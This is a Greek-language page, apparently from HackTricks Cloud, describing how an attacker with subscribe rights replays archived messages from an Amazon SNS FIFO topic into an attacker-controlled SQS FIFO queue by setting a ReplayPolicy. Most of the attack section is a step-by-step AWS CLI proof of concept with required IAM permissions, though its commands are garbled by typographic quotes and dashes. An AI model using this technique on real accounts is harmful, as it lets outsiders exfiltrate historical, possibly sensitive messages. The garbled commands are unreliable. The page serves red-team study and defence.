SNS FIFO Archive Replay Exfiltration via Attacker SQS FIFO Subscription
Tip
Μάθετε & εξασκηθείτε στο AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Δείτε τα subscription plans!
- Εγγραφείτε στο 💬 Discord group ή την telegram group ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε τα hacking tricks υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.
Κατάχρηση της αρχειοθέτησης μηνυμάτων ενός Amazon SNS FIFO topic για να replay και exfiltrate προηγουμένως δημοσιευμένα μηνύματα σε έναν SQS FIFO queue ελεγχόμενο από attacker, ρυθμίζοντας την subscription ReplayPolicy.
- Υπηρεσία: Amazon SNS (FIFO topics) + Amazon SQS (FIFO queues)
- Απαιτήσεις: Το topic πρέπει να έχει ενεργοποιημένο το
ArchivePolicy(αρχειοθέτηση μηνυμάτων). Ο attacker μπορεί ναSubscribeστο topic και να ορίσει attributes στη subscription του. Ο attacker ελέγχει έναν SQS FIFO queue και επιτρέπει στο topic να στέλνει μηνύματα. - Επίπτωση: Ιστορικά μηνύματα (δημοσιευμένα πριν τη δημιουργία της subscription) μπορούν να παραδοθούν στο attacker endpoint. Οι επαναπροβληθείσες παραδόσεις επισημαίνονται με
Replayed=trueστο SNS envelope.
Προαπαιτούμενα
- SNS FIFO topic με ενεργοποιημένη αρχειοθέτηση:
ArchivePolicy(π.χ.,{ "MessageRetentionPeriod": "2" }για 2 ημέρες). - Ο attacker έχει δικαιώματα για:
sns:Subscribeστο target topic.sns:SetSubscriptionAttributesστη δημιουργημένη subscription.
- Ο attacker έχει έναν SQS FIFO queue και μπορεί να επισυνάψει ένα queue policy που επιτρέπει
sns:SendMessageαπό το topic ARN.
Ελάχιστα IAM δικαιώματα
- Στο topic:
sns:Subscribe. - Στη subscription:
sns:SetSubscriptionAttributes. - Στον queue:
sqs:SetQueueAttributesγια το policy, και queue policy που επιτρέπειsns:SendMessageαπό το topic ARN.
Attack: Replay archived messages to attacker SQS FIFO
Ο attacker κάνει subscribe τον SQS FIFO queue του στο victim SNS FIFO topic, και στη συνέχεια ορίζει το ReplayPolicy σε ένα timestamp στο παρελθόν (εντός του window διατήρησης του archive). Το SNS αμέσως replay-άρει τα ταιριαστά αρχειοθετημένα μηνύματα στη νέα subscription και τα σηματοδοτεί με Replayed=true.
Σημειώσεις:
- Το timestamp που χρησιμοποιείται στο
ReplayPolicyπρέπει να είναι >= τουBeginningArchiveTimeτου topic. Αν είναι νωρίτερα, το API επιστρέφειInvalid StartingPoint value. - Για SNS FIFO
Publish, πρέπει να καθορίσετεMessageGroupId(και είτε dedup ID είτε να ενεργοποιήσετε τοContentBasedDeduplication).
End-to-end CLI POC (us-east-1)
```bash REGION=us-east-1 # Compute a starting point; adjust later to >= BeginningArchiveTime if needed TS_START=$(python3 - << 'PY' from datetime import datetime, timezone, timedelta print((datetime.now(timezone.utc) - timedelta(minutes=15)).strftime('%Y-%m-%dT%H:%M:%SZ')) PY )1) Create SNS FIFO topic with archiving (2-day retention)
TOPIC_NAME=htreplay$(date +%s).fifo
TOPIC_ARN=$(aws sns create-topic –region “$REGION”
–cli-input-json ‘{“Name”:“’”$TOPIC_NAME“‘“,“Attributes”:{“FifoTopic”:“true”,“ContentBasedDeduplication”:“true”,“ArchivePolicy”:“{"MessageRetentionPeriod":"2"}”}}’
–query TopicArn –output text)
echo “Topic: $TOPIC_ARN”
2) Publish a few messages BEFORE subscribing (FIFO requires MessageGroupId)
for i in $(seq 1 3); do
aws sns publish –region “$REGION” –topic-arn “$TOPIC_ARN”
–message “{"orderId":$i,"secret":"ssn-123-45-678$i"}”
–message-group-id g1 >/dev/null
done
3) Create attacker SQS FIFO queue and allow only this topic to send
Q_URL=$(aws sqs create-queue –queue-name ht-replay-exfil-q-$(date +%s).fifo
–attributes FifoQueue=true –region “$REGION” –query QueueUrl –output text)
Q_ARN=$(aws sqs get-queue-attributes –queue-url “$Q_URL” –region “$REGION”
–attribute-names QueueArn –query Attributes.QueueArn –output text)
cat > /tmp/ht-replay-sqs-policy.json <<JSON {“Version”:“2012-10-17”,“Statement”:[{“Sid”:“AllowSNSSend”,“Effect”:“Allow”,“Principal”:{“Service”:“sns.amazonaws.com”},“Action”:“sqs:SendMessage”,“Resource”:“$Q_ARN”,“Condition”:{“ArnEquals”:{“aws:SourceArn”:“$TOPIC_ARN”}}}]} JSON
Use CLI input JSON to avoid quoting issues
aws sqs set-queue-attributes –region “$REGION” –cli-input-json “$(python3 - << ‘PY’ import json, os print(json.dumps({ ‘QueueUrl’: os.environ[‘Q_URL’], ‘Attributes’: {‘Policy’: open(‘/tmp/ht-replay-sqs-policy.json’).read()} })) PY )”
4) Subscribe the queue to the topic
SUB_ARN=$(aws sns subscribe –region “$REGION” –topic-arn “$TOPIC_ARN”
–protocol sqs –notification-endpoint “$Q_ARN” –query SubscriptionArn –output text)
echo “Subscription: $SUB_ARN”
5) Ensure StartingPoint is >= BeginningArchiveTime
BEGIN=$(aws sns get-topic-attributes –region “$REGION” –topic-arn “$TOPIC_ARN” –query Attributes.BeginningArchiveTime –output text) START=${TS_START} if [ -n “$BEGIN” ]; then START=“$BEGIN”; fi
aws sns set-subscription-attributes –region “$REGION” –subscription-arn “$SUB_ARN”
–attribute-name ReplayPolicy
–attribute-value “{"PointType":"Timestamp","StartingPoint":"$START"}”
6) Receive replayed messages (note Replayed=true in the SNS envelope)
aws sqs receive-message –queue-url “$Q_URL” –region “$REGION”
–max-number-of-messages 10 –wait-time-seconds 10
–message-attribute-names All –attribute-names All
</details>
## Επιπτώσεις
**Πιθανή Επίπτωση**: Ένας επιτιθέμενος που μπορεί να εγγραφεί σε ένα SNS FIFO topic με ενεργοποιημένη αρχειοθέτηση και να ορίσει `ReplayPolicy` στη συνδρομή του, μπορεί αμέσως να επαναλάβει (replay) και να exfiltrate ιστορικά μηνύματα που έχουν δημοσιευτεί σε αυτό το topic, όχι μόνο μηνύματα που στάλθηκαν μετά τη δημιουργία της συνδρομής. Τα παραδοθέντα μηνύματα περιλαμβάνουν την ένδειξη `Replayed=true` στο SNS envelope.
> [!TIP]
> Μάθετε & εξασκηθείτε στο AWS Hacking:<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://hacktricks-training.com/courses/arte)<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">\
> Μάθετε & εξασκηθείτε στο GCP Hacking: <img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training GCP Red Team Expert (GRTE)**](https://hacktricks-training.com/courses/grte)<img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">\
> Μάθετε & εξασκηθείτε στο Az Hacking: <img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training Azure Red Team Expert (AzRTE)**](https://hacktricks-training.com/courses/azrte)<img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
>
> <details>
>
> <summary>Υποστηρίξτε το HackTricks</summary>
>
> - Δείτε τα [**subscription plans**](https://github.com/sponsors/carlospolop)!
> - **Εγγραφείτε στο** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) ή την [**telegram group**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
> - **Μοιραστείτε τα hacking tricks υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
>
> </details>
HackTricks Cloud

